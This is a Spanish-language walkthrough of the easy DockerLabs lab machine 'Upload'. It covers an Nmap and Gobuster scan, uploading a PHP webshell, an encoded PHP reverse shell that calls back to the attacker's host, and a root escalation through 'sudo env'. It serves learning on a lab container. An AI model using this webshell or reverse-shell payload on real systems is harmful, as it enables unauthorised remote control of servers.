Ir al contenido

Upload

En este artículo describo la resolución de la máquina virtual Upload, diseñada por El Pingüino de Mario y catalogada con dificultad fácil. A continuación detallo cada fase del proceso: reconocimiento, explotación y escalada de privilegios.

  • Nombre: Upload
  • Autor: El Pingüino de Mario
  • Dificultad: Fácil
  • Fecha de creación: 09/04/2024
  1. Descargamos la imagen de la máquina desde DockerLabs.

  2. Descomprimimos el paquete:

    Ventana de terminal
    unzip Upload.zip
  3. Ejecutamos el script de despliegue:

    Ventana de terminal
    sudo bash auto_deplo.sh Upload.tar

Al arrancar la máquina, esta muestra directamente su dirección IP, así que no es necesario realizar un escaneo ARP.

IP asignada

Preparamos nuestro entorno de trabajo:

Ventana de terminal
mkdir Upload
cd Upload
mkt # Crea las carpetas: content, exploits, nmap, scripts

Ejecutamos un escaneo completo con Nmap:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts

Extraemos la lista de puertos abiertos:

Ventana de terminal
extractPorts allPorts

Puertos abiertos

Buscamos directorios y archivos accesibles en el servicio HTTP:

Ventana de terminal
gobuster dir -u http://172.17.0.2/ \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \
-x php,html,txt,js -t 200

Resultados de Gobuster

Detectamos únicamente:

  • index.html: contiene un formulario para subir archivos. Interfaz de subida

  • /Uploads: directorio donde se listan los ficheros subidos. Carpeta de uploads

Aprovechamos el formulario de subida para cargar un archivo PHP malicioso que actúe como webshell. Por ejemplo, shell.php:

<?php
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>
  1. Guardamos este código en shell.php.

  2. Lo subimos a través de la interfaz: Subida de shell

  3. Verificamos su ejecución accediendo a su URL: http://172.17.0.2/Uploads/shell.php?cmd=id Ejecución de comando

Para obtener una shell interactiva, prepararemos una reverse shell:

  1. En la máquina atacante, escuchamos en el puerto 443:

    Ventana de terminal
    nc -lvnp 443
  2. Invocamos la reverse shell codificando el payload en la URL:

    http://172.17.0.2/Uploads/shell.php?cmd=php%20-r%20'%24sock%3Dfsockopen%28"172.17.0.1"%2C443%29%3Bexec%28"bash%20%3C%263%20%3E%263%202%3E%263"%29%3B'

    Reverse shell activa

Obtenemos así acceso como www-data.

Comprobamos qué binarios podemos ejecutar con sudo:

Ventana de terminal
sudo -l

sudo -l

Se nos permite ejecutar env como superusuario sin contraseña.

Ejecutamos una nueva shell con privilegios elevados:

Ventana de terminal
sudo env /bin/sh

Obtenemos acceso como root:

Root access

La máquina Upload proporciona un ejercicio sencillo pero completo: aprovechamiento de un formulario de subida, ejecución de una webshell, reverse shell y escalada de privilegios mediante un binario permitido por sudo. Es un buen punto de partida para reforzar conceptos básicos de explotación web y post‑explotación.